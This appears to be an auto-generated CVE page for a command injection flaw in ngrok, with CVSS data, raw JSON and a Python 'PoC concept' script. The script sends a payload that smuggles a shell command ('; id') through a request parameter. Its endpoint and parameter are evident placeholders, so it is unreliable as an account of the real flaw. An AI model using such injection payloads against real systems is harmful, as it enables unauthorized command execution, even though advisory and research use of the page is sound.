Security Vulnerability Report
中文
CVE-2025-57282 CVSS 8.8 HIGH

CVE-2025-57282

Published: 2026-05-18 16:16:29
Last Modified: 2026-05-18 20:27:13

Description

ngrok v4.3.3 and 5.0.0-beta.2 is vulnerable to Command Injection.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ngrok v4.3.3
ngrok v5.0.0-beta.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2025-57282 # This script demonstrates the command injection vulnerability in ngrok. # An attacker crafts a payload that includes shell metacharacters to execute arbitrary commands. import requests target_url = "http://target-ngrok-server:4040/api/vulnerable/endpoint" # The payload attempts to execute 'id' command using a semicolon separator # Actual vulnerable parameter may vary based on the specific ngrok implementation context malicious_payload = "normal_input; id" params = { "config": malicious_payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check server for command execution.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57282", "sourceIdentifier": "[email protected]", "published": "2026-05-18T16:16:29.253", "lastModified": "2026-05-18T20:27:12.817", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ngrok v4.3.3 and 5.0.0-beta.2 is vulnerable to Command Injection."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://gist.github.com/Dremig/90c2a0a2f85b0921f10e0bb3192a0c23", "source": "[email protected]"}, {"url": "https://www.npmjs.com", "source": "[email protected]"}]}}